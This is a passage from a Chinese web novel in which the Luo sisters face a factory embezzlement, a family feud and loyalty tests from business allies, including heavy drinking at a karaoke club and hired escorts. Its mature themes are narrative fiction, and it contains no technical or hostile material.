两人搬行李。 最顶端的箱子摇摇欲坠,罗璇急忙去扶,可终究来不及,纸盒子掉落地上,罗璇大学时期的书本掉了满地。一本加缪摊开在地下,裸露的书页写着:“窗外是弗洛伦萨,桌上是死。” 罗璇注视着这页书。 那个时候,父亲还没死,她还在学校的象牙塔里。她根本没留心这句话,她只用明黄色的彩笔标注了下一句:“除了爱和仰望,我别无所能。” 爱,究竟是什么? 罗璇越来越想不通了。 把一个人、一段关系,放置在脱离利益纠葛的真空里,再套上玫瑰色的滤镜,才能让一切都美好得不像话,所以才有爱,所以才能仰望…… 她是怎样从相信爱与仰望,变成关注生与死的? 是因为父亲的死,还是因为父亲的死不过是命运的引子? 人不会两次踏入同一条河流。时光永不停歇,她也在不断变化。 初闻不识句中意,再见已经是句中人。 风吹过,书哗啦啦翻过好多页。 这本书,当年的罗璇根本没读完,而如今的罗璇定定地注视着书页上变幻的油墨。 直到风停下,裸露的那页写着:“我一切的努力,无论在哪方面,无论面对什么样的不幸或者幻灭,都是为了能够和世界有所接触。” 爱,是在与世界交手中碰撞出的小小火花吗? 不是为了照亮别人,而是为了照亮自己吗? 罗珏喊她:“快整理,又发呆!” 罗璇抓起书,随便塞进箱子里。两人把所有箱子都搬上了车。 两人上车了,车子缓缓行驶,小小的车窗,幽暗的风景。 “还在想祝峻?”罗珏问。 罗璇摇头。 不过因缘际会,不过夜里行船,各自在茫茫白水中前行,最终巧合般地汇入同一条河道,或许持续并肩同行,或许各奔东西……因为爱并非故事的终点。故事的终点应该是,所有人,终将汇入同一片死亡的大海。 罗璇叹气:“只有生与死是确定的,除了生与死,一切都在变,一切都是我们自己的选择。” 罗珏伸出手来。 罗璇抓住大姐的手,用力握了握。这是姐妹两个从小就默契的动作,罗璇需要支持的时候,罗珏总能恰到好处地伸出手,让她握住。 “是,一切都在变。我的工作出了点变化。”罗珏声音平静,“等到了罗桑县,我先住在你那里。我要休息一段时间,重新找工作,想想自己以后要做什么。” “你又丢工作了?”罗璇脱口而出。 大姐的面色黯然了一瞬。 罗璇懊恼地拍自己的嘴:“大姐,我不是那个意思,是爸妈耽误了你的发展,所以才让你越来越难找工作……” “我干不下去了。他们让我签字,我不敢签,一旦出事,我要负法律责任。”罗珏说。 “签什么字?”罗璇敏锐地追问,“罗桑厂怎么了?” “罗桑厂账上根本没钱。”罗珏轻描淡写地说,“据我所知,这些钱都被王经理他们拿去炒股了。” 罗璇震惊地睁大双眼。 几秒钟后,无数语句从她嘴里蹦出来,语无伦次:“那咱们家压在罗桑厂的回款——工人那些集资——我要赶紧去告诉大家——” “没用的。”罗珏打断她。 罗璇捂住嘴。 罗珏撩开斜分黑发。她的额头因为撞在门上,而肿胀出一个红色的大包,“你以为我没告诉过他们吗?” 经过雪灾一事,罗璇终于懂得人心难测。她看着罗珏,明白了。 罗璇先是愤怒。异常愤怒。旋即被浓重的悲凉吞没。事实上,她自己遭遇工人的误解时,并未感觉多痛,但当事情发生在大姐身上,这种痛苦与悲凉,竟要比自己身上浓重一千倍、一万倍。 “疼不疼?”她问。 罗珏转头看向无边的夜色。 “疼,当然疼。太疼了。”她的声音依旧清淡,“妈总说,人各有因果,不要干涉别人的因果。可我总是愚蠢,求不得,也要求,执念太重。所以这就是我的因果。” “大姐,你别这么想,这不是什么命运的警告,你只是单纯撞破了头……” “我是为了我自己。”罗珏苦笑着打断罗璇,“既然我看到了,就不能不管。你说得没错,有问题的是老郑,不是小妹。同样的,有问题的是王经理,不是工人们。” 罗璇注视着罗珏。罗珏很瘦很瘦,似乎愈发的瘦了。她清瘦的身体坐得笔直。 大姐一贯刚直。虽说过刚易折,但对于这样的人来说,或许折断,也比弯腰强上百倍千倍吧。 只是。 罗璇从未这么愤怒过。 “你知道我雪灾的时候,试图帮助人,最后被人误解。”罗璇强行压抑着自己的声音。 “是。” “如今你重复着被误解的命运。” “是。” “即使这样,你也要继续做下去。” “是。” “我不明白!”罗璇终于脱口而出,“难道这世界上所有的事,都是你的责任?哪有那么多责任?你为什么要把别人放在自己前面?你管这个、管那个,能不能先管管你自己啊?” “我不是为了别人,是为了我自己。”罗珏怅然道,“我还是会告诉大家真相。不是为了他们好,不是为了正义。而是因为,如果我闭口不言,我会觉得自己是个懦夫,自己如此虚伪,我这辈子都会备受折磨,我会怀疑我的坚持、我的理想与抱负,我会失去自信。” “我是状元。我是罗桑县的金凤凰。我不能失去自信。”罗珏说。 罗璇用力揪住袖口。 “我这辈子,从来没做过金凤凰,我根本听不懂。”罗璇用力说,“大姐,你总是、你总是这样!为什么你总坚持这些虚无缥缈的东西?是凤凰也好,是草鸡也好,难道你就不是你了吗?为什么你不能让自己活得舒服点?” “什么叫活得舒服?” “一口一口吃饭,一天一天过日子。看看一朵花怎么开,水流向何处,风又是如何吹,而太阳暖洋洋地照在我们身上。” 罗珏看着车窗外的夜色。 “大姐,人生就像现在这样,夜里行船。”罗璇恳求,“你以为人有选择吗?除了必死的结局之外,其实人什么都控制不了,什么都抓不住,我们只能努力过好每一天。你去追求那些——什么理想——什么抱负——毫无意义!大姐!想办法过好每一天才是真正的意义!” 罗珏轻轻吐出一口气。 “那是你的意义,不是我的。”她简单地说,“我没办法那么活。” 罗璇突然从心底涌起一股空荡荡的、宏大的悲哀。不止为了大姐。而是为了这个世界上,无可避免的,有这样一群人存在。 她开口,却发现自己声音有些哽咽:“这世界上,只有你一个人聪明!我讨厌你们这些聪明人!你们这些聪明人总是自讨苦吃!” “那这就是我的命。”罗珏怅然。 “大姐——” “你不用说了。”罗珏倔强地打断她,“我知道怎样能过得舒服,但我就是不想那样过。如果我那样过了,我就会变成另一个人——罗珏会变成一个陌生人!那样的罗珏,还是我吗?我和死了又有什么区别?我不想亲手杀了我自己。” 罗璇张了张嘴,什么都说不出来。她看着罗珏倔强的面孔。 大姐总是这样。她认定的事情,就根本不会回头。 哪怕撞得头破血流。 “你不必再劝。”罗珏说,“我想活着,不想死去。” 第130章 付出代价&避开他 “你差点死了。”张东尧霍然起身,在病房里转了个圈,“你那真正该死的丈夫,却活得好好的,不需要付出代价?” 罗琦费力地笑笑:“算了。我也不在乎这些虚的。争这些有什么意义?说赔钱吧,他又没有钱。说道歉吧,道歉有什么用?” 张东尧注视着罗琦的脸,说不出话来。 罗琦一滴眼泪都没掉:“已经这样了。”她的声音冷且硬,“我总要付出代价的。” 张东尧忽然仰起脸:“是我害了你。是我怂恿你去炒房。” “跟你没关系,是我自己急着赚钱。”罗琦说,“而且我从你的盈利里抽佣20个点呢,记得吗?你我商业交易罢了。” 张东尧按住眼睛。 他不合时宜地想起李博士倒在自己头顶的可乐。 想起泡沫粘稠地粘在脖子里。 他用舆论要挟了李博士以后,是魏教授出面,带着他和李博士的父亲吃饭。 李博士的父亲什么都没说,只是点了10瓶啤酒和一桶1.2升的雪碧。张东尧懂了,说了声“我敬您”,就喝了吐、吐了喝,总算把这些带气的液体都灌进胃里,李博士的父亲也只是点点头,神色淡淡。 张东尧被送去医院的路上,吐了魏教授满车。先是吐清水,后来开始吐血丝。他在床上躺了很长一段时间,最近刚好转,瘦得了脱相。 几秒钟后,张东尧用力眨眼,把模糊的灼热逼了回去,才深吸一口气,看向罗琦:“是,总要付出代价的。” 罗琦轻叹:“活着真累啊。” “活着真累啊。”张东尧重复,“可我又不想死。” “我也不想死。”罗琦说。 病房里安静下来。 张东尧注视着罗琦的脸。他和姐姐从小被父亲虐打,他太清楚了,罗琦的脸变成这样,怕是没办法复原。 一时间,张东尧胸中仿佛有什么灼热的情绪在沸腾。他很冲动地说:“……我的钱,你都拿去吧。以后,我的钱也给你。都给你。” 罗琦听懂了。 她很婉转地拒绝:“谢谢你信任我,我会帮你赚更多的钱。” “你知道我不是这个意思。” 罗琦叹了口气。 她安静了一会:“我们的时间不对。若是早些……” “不必。”张东尧打断她,“现在就是对的时间。早些,我还不是现在的我,你还不是现在的你。” “我没办法美化你做过的事,你也没办法美化我做过的事。我们都是坏人。”罗琦说。 “我们只是没办法!” “没办法,就算了?”罗琦用力道,“张东尧。你不去找办法了?” 张东尧沉默。 罗琦露出个笑:“我们分手的时候,说得很清楚。我们必须解决各自的问题。” 罗琦越是笑,张东尧越是难受。 若是说爱,张东尧最爱的是他自己。他心里很清楚,他这样的人,只有冲动,根本没有长久的爱。他是要踩着别人往上爬的。 但罗琦不一样。 他看她如照镜子。她的虚荣、阴暗、不择手段,他都有。即使没有男女之情,也有相惜之心。 “我了解你,正如你了解我。”罗琦说,“我需要助力,你也需要助力,我们在一起,问题永远没办法解决。” 病房里安静下来。 片刻后,张东尧冷静下来。 不过一时冲动。冲动渐渐散去了,张东尧的心也就淡了。他忽然庆幸,幸好罗琦没有答应他。 他有些淡淡的钦佩,对面的人是罗琦,所以他和她才能始终维持良好的合作关系;但他又有些怅然,对面的人是罗琦,所以他和她之间宛如白炽灯照射,一切都太过清清楚楚、太过明明白白。 他后退两步,低声说:“你说得对。” 罗琦说:“多赚点钱,才是实实在在的。” “……是。我们还是朋友。” …… “难道我们不是朋友了?”江明映似笑非笑地看着罗璇。 Evelyn的别墅里正火热地开着牌局,人不算多,但每个人都认识每个人。 打牌打到一半,江明映进来了。 罗璇有些意外。 江明映直接坐在罗璇身边,Evelyn看了眼罗璇,罗璇立刻正襟危坐,和江明映拉开一点距离。 Evelyn是Cythnia的朋友,而Cythnia在追求江明映。罗璇才不要得罪她。 为了一个男人,犯不上。 罗璇模棱两可地回答他:“今天在座的各位都是朋友。”她余光瞟见Evelyn对着自己的方向拍了张照片,顿时身体又往旁边移动了几厘米。 江明映“嗤”了声。 荷官笑眯眯地发牌,江明映和Evelyn闲聊:“之前一直帮你的姜姜呢?” 姜姜,Evelyn之前在英国的室友,小中产留学生,开赌局的时候帮忙端茶送水,后来也做荷官发牌。 “姜姜啊。”Evelyn简短说,“回老家了。” 众人显然有些意外:“回老家能干嘛,哪有在这赚得多。” “现在经济形势不好,她想找份稳定的工作,回家考公务员。”Evelyn说 “现在考公考编进国企确实挺热门。前几年经济好,大部分人都不想进体制,外企才是香饽饽,现在行情不好啦,外企裁员,大家都想进体制图稳定。” “经济形势看不清楚,这钱啊,能赚几年就赶紧赚,说不准什么时候政策一刀切,饭碗都砸了。” Evelyn渐渐皱眉。 “考公务员挺好。”新荷官小邱轻巧发牌,对着皱眉的Evelyn笑眯眯,“她不去考公务员,我上哪找这么好的工作和老板。” Evelyn的脸色又舒展开。 众人哄笑:“Evelyn快快给小邱涨工资,人家真懂事。” “说起懂事。”Evelyn转向罗璇,冲着她右边努努嘴,“你说你要给重要客户送东西,可以问阿杨。” 第131章 做人情&拍马屁 重要客户,正是祝胜男。 罗璇这次做成大单,于情于理,都要和祝胜男维护一下关系。 她自然要给祝胜男送礼。 阿杨是个脸上长满粉刺的男生,戴一副黑框眼镜。详细询问过祝胜男的情况,阿杨沉吟片刻:“送这样的人,得找点不显山不露水的好东西。我那有,等下带你去看看。” Evelyn笑着拍拍阿杨的肩:“都是朋友。小璇先送着,年底一并给你结算。给个好价格。” “当然,当然。”阿杨很痛快。 罗璇和Evelyn对视一眼。 罗璇要给祝胜男送礼,当然可以自己准备,但她也想和Evelyn处好关系。 怎么处好关系? 多麻烦对方。 于是罗璇托了Evelyn帮忙介绍,而Evelyn喊了做文玩生意的阿杨过来,她从罗璇这里抽成交价的1个点,再从阿杨那里抽1个点。罗璇可以晚些付款,阿杨有了新生意,Evelyn赚了钱,三人都高兴。 …… 三言两语,罗璇和阿杨的交易在牌桌上很轻巧地达成了。 牌过几巡,江明映笑眯眯地侧身过来,不轻不重地试探:“你学得倒是快。” “我懂什么,都是瞎玩。”罗璇抓着一把牌装傻。 “你可不是瞎玩,你可太聪明了。”江明映说,“你现在坐在这群人里,说话办事,和他们都没区别。” 罗璇躲:“你抬举我了。” 江明映注视着她:“我听说红星厂现在欠了三百万,我觉得,如果厂长是你,这三百万你肯定早就还上了。三百万不算多。” 罗璇又躲:“我没这个本事。” 江明映笑道:“林厂长是女中豪杰,你都能和林厂长斗法,还说自己没本事?” 罗璇吹捧他:“你们都是这么厉害的人物,我怎么敢在你面前说自己有本事?” 江明映赞同地点点头:“我当然比你有本事,所以才能看出来你的本事。” 什么自大狂啊! 罗璇难以置信地看了眼江明映。 两人对视,罗璇从江明映满是笑意的眼中看见了揣测的精明与冷漠的考量。 江明映不闪不避地打量着她,也任由她打量:“都是朋友。” 罗璇瞄了下牌桌。 呵。 所有人都捧着江明映,这样的人怎么可能随随便便和自己交朋友。 他图什么? 但是,他能图什么? 自己连个工厂都没有,图自己满屁股债,图自己画的大饼? 正想着,罗璇感受到Evelyn的目光不赞同地落在自己身上,有什么闪了闪,不知是不是有人掏出手机要拍照——她急忙转回头,撇清关系。 江明映看着她,奇道:“你交了个男友,所以现在连朋友都不和我做了?” 罗璇一口气险些没上来,气恼地压低声音:“不是因为这个!” 江明映盯着罗璇的侧脸看,罗璇再没看他。 良久,他轻轻“嗤”了声。 …… 牌局的间歇,阿杨掏出一台巴掌大的小笔记本电脑,两人坐在阳台上,挨张照片看过去。 阿杨重点给罗璇介绍了一把晚清的“密码”锁。 细长的木框子上串着七个骰子样的小方块,每个骰子的每一面都是一个字,这七个骰子无论怎么扭,连起来都是一句诗。 正确的密码就是其中一句诗。 “晚清的东西不贵,又透着些别致,送这样的客户刚刚好,比商务关系亲近些,比普通关系贵重些,但又没那么贵重、没那么亲近,还带了点年轻人的巧思。”阿杨说。 罗璇点点头:“就这个。” 这时,Evelyn就像一道轻盈的影子,绕到两人背后,不动声色地看了眼图片,放下两杯水,又转了回去。 …… 牌局结束,Evelyn一一安排人离开。 罗璇联系了祝胜男,祝胜男没多说什么,直接给她一个地址:“送到这里。” 两人都没提祝峻。 …… 罗璇上了门。 这套房子显然不怎么住人,装修得很简单,空荡荡的。 祝胜男正靠在沙发上打电话,见罗璇进来了,也没抬头,只是用手一指:“放那边。” 罗璇把东西轻手轻脚放下。 看到地上淡淡一层灰印子,她立刻很乖觉地说:“我顺手给您扫扫。” 祝胜男在忙,半点眼风没给她。 罗璇自己去卫生间里找了工具,开始哼哧哼哧擦桌擦地。 等把客厅擦得七七八八,她再抬头,对上祝胜男似笑非笑的目光。 “你说你上门就上门吧,送东西也就送东西,你干这个。”祝胜男一直等到罗璇把活干得差不多了,才开始讲客气话。 罗璇抬脸。 她正拿着抹布蹲在祝胜男腿边,闻言,只是笑笑:“阿姨,抬脚。” 她把祝胜男脚下的地板也擦干净。 “你愿意干这么多,怎么还抓不住我儿子?”祝胜男突然问。 …… 罗璇一愣,擦了把汗:“这不一样。” 祝胜男盯着她眼睛,没说话,摆在茶几上的手机又没完没了地振动起来。 这次,祝胜男没有接。 罗璇语气老实:“我给您抽了十个点,钱已经打您卡上了,您算算就知道,您之前帮我那个忙,让我一单赚了50万呢。” 言外之意是,擦个地算什么。 祝胜男哈哈哈哈仰头笑起来。 “你做了也没用。”她抬起脚,任由罗璇擦脚下的地板,“现在这个经济形势,不比前些年,业务量萎缩。金融危机不知道会不会来,也不知道什么时候能过去。钱难赚。” “钱什么时候都难赚。我也不想那么远。”罗璇用力擦地板,“问题来了我就解决,事情发生了我就去做。” “真笨。”祝胜男放下脚,“没规划。” 罗璇没辩解。别人说她憨,说她笨,说就说吧。她没办法变成另外一个人。她就是这样的。 “很多事情,就是没办法的。”祝胜男意味深长。 “我不会想那么多。没办法就找办法。问题之所以存在,就是用来解决的。”罗璇说。 “笨人果然比聪明人更有智慧。”祝胜男突然慨叹,“世事太多变。聪明人寻找机会,笨人只管埋头去做。其实做了就发现,事情还是那些事情,问题也总能解决。” 罗璇埋头擦地板:“想太多没用,那不是我能决定的,我想那么多,徒增烦恼呢,不如把地板擦干净。” 祝胜男看着罗璇:“没能力解决问题的人,根本不可能在这里给我擦地板,也根本没机会被我看到。” 罗璇笑笑,继续擦地板。 片刻后,祝胜男回完短信,摘了老花镜,看着罗璇,说:“你这样的女孩子,早晚会有出息。” 罗璇听出了祝胜男话语里的欣赏之意。 她立刻直起身体,厚着脸皮说:“谢谢您欣赏我,我非常高兴。以后真的希望您多给我提点建议,我会很珍惜。” 祝胜男顿了顿,点点头:“我确实挺欣赏你。” 罗璇作为晚辈,率先把话说开:“我很抱歉,我和祝峻没成。” “没成挺好。”祝胜男很直白,“我欣赏你,但我想要个以祝峻为重的儿媳,能全心全意把我儿子和我家当成她的事业,最好是我和他爸有个头疼脑热的,儿媳立刻出现。” “那她就没有自己的事业了。” “我欣赏有事业的女生,和我想挑个没事业的儿媳,这并不矛盾。” 这话自私得坦荡,让罗璇想拍马屁都无处下嘴。 但拍马屁毕竟是做生意的基本功,对吧。 于是罗璇换了个角度夸祝胜男:“我根本不合乎您的要求。但您并未反对过我们,说明您很开明。” “反对?你和祝峻反正走不下去,我何苦做恶人,浪费精力。我很忙的。”祝胜男淡淡地说,“你要做事业,他也要做事业,你们两个谁都不愿意牺牲,各忙各的,迟早过不下去。” 罗璇抬起眼:“您觉得我们必然分手?” “你们两个,要么得找能帮上自己的,要么找能服务自己的。独独和彼此过不下去。” 罗璇张口结舌。 祝胜男看着她:“爱就是对彼此有用,婚姻就是对彼此有所图。” 罗璇竟然不知道该怎么反驳,更不知道该从哪反驳。更糟糕的是,罗璇发现,祝胜男说得没错。 林招娣不就是这样做的吗? 在内心最隐秘的角落,罗璇恐怖地发现,如果自己认同了这套观念,这意味着她认同了自己母亲在婚姻家庭上的选择。 也就认同了母亲如何对待她人,如何对待……自己。 罗璇悚然而惊。 她曾经以为,“爱”不应该是这样的。那她又是从什么时候开始,逐渐找不到“爱”的样子,逐渐酷似母亲的? 这种相似,究竟来自血脉的传承,还是社会的塑造? 难道想要做成事情,她必须要变成这样的人,变成林招娣,甚至变成宗先生,最终背离原本的自我吗? 祝胜男在无休止的打电话间隙,指了指门:“我没什么时间,就不送你出去了,抱歉。” 说着抱歉,可语气里没有什么歉意。 罗璇点点头,露出个笑,默不作声地整理好房间,有些恍惚地转身离开。 她当然不会在这里遇到祝峻,祝峻也根本不会出现在这里。罗璇走在马路上,风很大,她的头发被吹得纠缠作一处,再也理不清楚。 第132章 因为一个男人翻脸 要么得找能帮上自己的,要么找能服务自己的。 爱就是对彼此有用,婚姻就是对彼此有所图。 祝胜男的话依稀萦绕在耳边。 总有人在很年轻的时候就站在旁人无法企及的高度,比如祝峻。很现实的是,这样的年轻人的成就,往往约等于他家庭成就与社会资源的总和。 成功是窄门。 罗璇想起,在那个上海的夜晚,她和大姐发生争执,大姐执意要把实情告诉工人,哪怕没人领情,理由是“如果我变成另一个人,那么罗珏是死是活?我的灵魂想活着,不想死去。” 她是怎么劝大姐的? “人除了必死的结局之外,什么都控制不了,不如活在当下。” 罗璇释然了。她心想,自我的灵魂活着还是死去,何苦想这些?总归人终有一死,她只要能活下去,活得舒服,就是好。 有人生下来就在门内。有人穷其一生,仅仅依靠自己的肉身,可能还没找到那道窄门,就已经撞得头破血流。 她是个憨人,她只想让自己活得舒服点。 而大姐是聪明人。 只有聪明人,才会自讨苦吃。 …… 手机铃声响起来。 罗璇接了,对面是自己租工厂的同学:“罗璇,对不住了,咱们两个的合作,还是算了吧。” “怎么了?”罗璇心底一沉。 “我跟你合作,你妈和老豹搞我,不但每天守在厂子里不让开工,每天还有两三个混混跟着我们一家四处转悠,我妈开车出去,他们就骑着摩托跟在我妈的车后面兜风!我家人年纪大了,禁不住这么搞!” “罗璇,不是不帮你,实在是没办法。老豹太凶了,我实在是不敢招惹……” 罗璇急了:“你再给我几天时间!” “算了吧,罗璇,我妈心脏不好。” 罗璇拔高声音:“那我的订单怎么办?你要是也毁约,就真的没有供应商敢跟我合作了!” 同学语气坚决:“我赔你三倍违约金。对不住了。” 对方干脆利落地挂断电话,罗璇再拨回去,对面已经关机。 …… 罗璇怔怔地靠在墙上。 祝峻的亲生母亲扶助他的事业,而她自己的亲生母亲发誓要对她的冒犯以牙还牙、穷追猛打。 林招娣就是要把她的路堵死,把她租来的工厂闹到停产,威胁供应商不得给自己供货,不,这还不够,还要让老豹在背后为难,威胁她朋友的人身安全…… 而宗先生的订单,如今进度为0。 罗璇抿嘴看着停工停产的短信,用力攥紧手机。 “你怎么还没杀了我?!”她几乎咬碎了牙,终于吼出声。 “如果你根本不想要我,不如把我打掉,不如生下来就把我溺死、捂死、摔死。杀了我!这样你就不会有负担,不用不情不愿地照顾我。你可以再生一个自己喜欢的!只要你早早杀死我,们又怎会走到今天这一步?” 顿了顿。 “我这一生,究竟被你当成什么啊?” …… 罗璇不知道自己怎么活,但她很清楚,她不能死。 她能做的,她也能做。 毕竟她和她是同一根血脉延续下的亲母女,毕竟她和她身上,有着同样的基因的螺旋。 毕竟人类的历史也不过无穷无尽的重复。 人类历史和血脉基因又有什么区别,都是螺旋,不住地螺旋。 …… 罗璇打开手机,调出Cythnia的电话。 组织过语言后,按下通话键。她很迅速地说:“帮帮我,Cythnia。” 可Cythnia却在电话的另一端沉默了。 Cythnia的态度突然变得如此冷淡——罗璇站直身体,心中涌起不好的预感。 沉默了好半天,Cythnia说:“这件事情,你必须要我帮你,没有我不行。” 罗璇因为着急,声音已经变得沙哑:“若是我成功了,我就是你的人,是你最忠诚的伙伴。” “是吗。”Cythnia轻轻说,“罗璇,你找我帮这么大的忙,而我们非亲非故,只是一起做过点事情。我真的能信任你吗?” 罗璇立刻表忠心:“你当然可以信任我。” Cythnia突然说:“那关于江明映,你为什么从不对我说实话?” 罗璇从头顶麻到尾椎骨,倒吸一口气。 现在,这个时候,突然说这个?! 仿佛一个早已埋好的地雷,终于在最糟糕的时机,被骤然引爆。 她和江明映在别墅打牌的那天,果然有好事之人传话给Cythnia! “我和江明映根本不熟。是不是Evelyn把照片发给你了?我和他只是说了几句话,没太大关系。” “你们两个不熟吗?” “不熟!” Cythnia简单地说:“罗璇,你没说实话。” 罗璇瞬间在心里转过无数念头。她该怎么做,解释?反驳?或者发誓?这个瞬间,她感觉自己像个被捉奸的丈夫,或者一个被抓不忠的妻子。 罗璇并不知道这样时候该怎么说、怎么做,但罗璇很清楚,她已无路可走。 罗璇急忙说:“你在哪里,我去找你。我们当面说。” Cythnia报了个地址:“你到这里来。” 她挂断电话。 第133章 江明映喜欢你,多过喜欢我? 路都是人走出来的。 Cythnia报的地址是一家商K。 罗璇匆匆赶过去,已经下定决心,她非常需要Cythnia的帮助,无论如何都要打消她的疑虑。如果对方实在生气的话,要打要骂,也任由她。 她找到包厢号码,推门进去。 包厢里光线很暗,电子屏幕上空荡荡地播着歌曲。话筒和酒水摆在暗黑色透明桌面上,水晶杯子折射出五彩缤纷的光。 Cythnia一个人坐在黑色的皮沙发上,看见罗璇进来,似笑非笑,没说话,只是骄矜地抬了抬下巴。 她下巴尖的方向对着一瓶琥珀色的威士忌。 罗璇懂了。 酒已经分好,罗璇走上前,抓起一个玻璃杯,一饮而尽。 辣。 Cythnia抱着手看着罗璇,没说话。罗璇仰起脖子,又喝下一杯,被呛出一点眼泪。然后她又喝了一杯。 Cythnia终于开口:“你为什么喝酒?” 罗璇放下杯子,坐在她对面:“因为你不高兴。” Cythnia冷冷地说:“我为什么不高兴?” “我不是你,我不知道原因。”罗璇说,“我只知道,你不高兴。那么我能做的,就是让你高兴。” Cythnia哈哈笑了:“你倒是直接。你只解决问题。” “我是为了你。”罗璇重复,“不仅仅解决问题。” Cythnia抬手按熄电子屏幕上的声音,房间里一片寂静。 Cythnia开口:“那你打算怎么解决江明映的问题。” 来了。 罗璇举起双手:“我可以躲开他。” Cythnia凝视着她:“你为什么要躲开他?” Cythnia的问题不按常理出,罗璇语塞。 她又问:“因为你觉得江明映会喜欢你,多过喜欢我?” 罗璇更不知道怎么回答。 Cythnia站起身。她穿了双铆钉高跟鞋,尖锐的后跟踩在地板上,当当作响。 她来回走了两圈,转过身,抱手看着罗璇:“你在谦让我?” 罗璇感觉自己的额头冒出一点汗:“当然不是。我只是不想你误会。” Cythnia上下扫了罗璇一遍,指着自己:“你为什么觉得,我会误会你?” 罗璇吞口水,觉得喉咙里像砂纸。 Cythnia说:“既然你不说,那么我替你说:我在追求江明映,你和江明映认识——不仅仅认识,其实很熟,或许有更深一层的关系,而你隐瞒了我。是不是?” “这不是我的本意,我和他……” “我们做生意,只看事实。是不是?” “是。”罗璇说。 Cythnia继续在房间里踱步。她走了两圈,站定了,深吸一口气:“那你为什么要撒谎骗我。” 罗璇说:“因为我和江明映之间,什么都没有。我也不想节外生枝。” Cythnia打断她:“我问你的是,为什么你要撒谎骗我?还记得吗,当初我们一起应酬宗先生的时候,我问你,是谁发消息给你,你说是你妈。” 罗璇沉默。 片刻后,她说:“因为我不想破坏我们的同盟关系。” “你欺骗我,才是真正的破坏。”Cythnia干脆利落,“知道我今天为什么叫你来这里?” 罗璇拿起一杯威士忌:“知道。我会离江明映远远的。” “哦?”Cythnia似笑非笑地看着她,“你真的知道,还是你以为你自己知道?你以为,你对我,又了解多少?” 在这个瞬间,罗璇恍然觉得,她的神情和江明映的神情,和祝峻的神情,非常相似。 那是肉食者的笑容。 凉薄的,有点冷漠的,看人的时候,总不自觉地带着点权衡与打量。 罗璇什么话都说不出来,只能仰起脖子,一饮而尽。 Cythnia又笑了:“就算你今天把自己喝死在这里,又和我有什么关系?” 罗璇又抓起一杯酒。 她什么都没有,但她至少有自己的一具肉身,恰好这具肉身经过十余年竞技体育的捶打,皮糙肉厚,耐折腾。 “如果你想我喝死在这里。”她再次一饮而尽,“我就喝死给你看。” …… 包厢的门被人敲响。 商K的老板带着两个经理进来敬酒。 罗璇透过有些晕的双眼看过去,三个高大的男人,都穿正装,端酒杯训练有素,带着点夜场特有的痞气。 三个那么高大的男人进来,坐在Cythnia和罗璇旁边,带着笑容,努力把身体蜷缩得比两个女生还要低,无论两个女人说什么,他们都频频点头,声音温和。 敬过酒,三人鞠躬。 “祝您玩得愉快。”老板说。 三人彬彬有礼地退了出去。 “就算我说,太阳打西边升起,他们也会说‘对对对,您说得特别有道理。’”Cythnia靠在沙发上说,“你猜原因?” 罗璇转头看着Cythnia。 她向来好酒量,但心里太急,喝得太猛,动作太快,此时此刻,她感到些微的眩晕。 Cythnia面上噙着意味深长的笑容。 罗璇晕乎乎地摇了摇头。 Cythnia靠在沙发上,没有看罗璇,而是看着门:“这就是原因。” 下一秒,门被推开,十二个高大的男生走进包厢,在两人面前站成一排。 门前,天桥下,游过一群鸭。快来快来数一数,二四六七八。 罗璇睁大双眼。 不不不,这不是酒精引发的幻觉,这不是—— 而Cythnia终于转头看着她,用手指尖从左往右一划拉,依旧是骄矜地扬扬下巴:“看谁顺眼?你挑几个吧。” 这句话,罗璇终于听懂了。 …… 包厢又恢复了安静。 罗璇扑到厕所里拼命呕吐,吐完了,把冷水狠狠泼在脸上,满面通红:“荒、荒唐!” Cythnia不耐烦地打断她:“你没见过叫鸡?” “我可以看着它发生在别人身上,但不能发生在我身上啊!” “叫鸡可以,叫鸭就不行?” “我……” “凭什么?男人能挑,女人也能挑。男人总是品味女人,而不在乎女人是什么品味。” “不行!”罗璇不和她争辩,“我不要!!!” Cythnia哼了声:“白给的都不要。” 罗璇因为太过震惊而大脑彻底混乱,干脆破罐子破摔地问:“所以这就是你喊我来的目的?你是想给我点几只鸭子,让我彻底忘了江明映?” Cythnia气笑了。 她指了指包厢旁边的镜子:“对着镜子好好照照你自己。” 怎么还嘲讽人呢—— 罗璇腹诽着,下意识看向镜子,旋即吓了一跳。 她在外面跑了一大天,又去祝胜男家里搞卫生,头发乱蓬蓬的,黑色西装外套沾了灰,脸上的妆早就脱落,斑驳不堪。 总之非常狼狈。 “你怎么也没提醒我?”罗璇急忙整理自己。 “何必提醒?”Cythnia冷静地说,“在这里,就算你说太阳从西边升起来,也是对的。” 罗璇的手慢了下来。 “我花钱了。”Cythnia摊手,“所以是他们服务我。所以是他们要整理自己,讨你我的喜欢。你又何必讨别人的喜欢?你需要整理自己吗?” 罗璇把手放回膝盖上。 “我真正想和你说的是。”透过镜子,Cythnia直视罗璇的双眼,“我确实喜欢江明映,也确实追求他。因为江明映是人中龙凤,追求他没坏处,一旦成功了,我的收益会很大。但男人本身,并不是什么了不得的东西。有钱,有权,男人有的是。你明白吧?” 罗璇张开嘴。 半晌,她看着镜子里头发乱蓬蓬的自己,又透过镜子看向Cythnia,老老实实地承认:“我不明白。” Cythnia不耐烦地“啧”了声。 “意思是。”Cythnia干脆挑明了,“我求的是在珊瑚集团当家做主,我求权,我求钱,我不会为了任何人,影响我所求。” Cythnia干脆利落,罗璇久久失语。 “你不必和江明映那样避嫌。”Cythnia轻飘飘地说,“我和江明映,能结婚也好,能合作也好,他只要能帮我,对我而言就是好的。” 罗璇喃喃道:“……要么得找能帮上自己的,要么找能服务自己的。” Cythnia点点头:“这人没用,我和他谈什么恋爱?这人不给我好处,我又凭什么结婚?反过来,我不给他好处,他又凭什么和我结婚?” 罗璇叹息:“我终于明白,爱情和婚姻的基础,原来离不开利益。” “这样的爱情和婚姻才牢靠。”Cythnia说,“我从小就明白这个道理。” 她视若喝水,稀松平常。 “不会觉得遗憾?”罗璇问。 Cythnia哈哈哈笑了:“你看看大街那些夫妻,谁说当年没爱过,但后来呢?爱是转瞬即逝的。我那愚蠢的妈妈就以为爱是永恒的,所以我才有那么多哥哥弟弟。但其实,爱算什么,只要价码够,爱也能买到。” 顿了顿,Cythnia说:“我是个生意人,同样的钱,相比于爱,我更想要忠诚。” 罗璇垂下眼:“我知道你为什么生气了。不是为了江明映,而是为了我骗你。” “那你以后还会骗我吗?” “不会。”罗璇保证,“无论好坏,我都会告诉你实情。” 她从桌上抓起一杯威士忌,强撑着天旋地转,一饮而尽:“我会让你看到我的忠诚。” Cythnia点点头,满意道:“现在,我们来聊聊你的计划。” 第134章 毁容&调休 “现在,我们来聊聊你的治疗计划。”医生说。 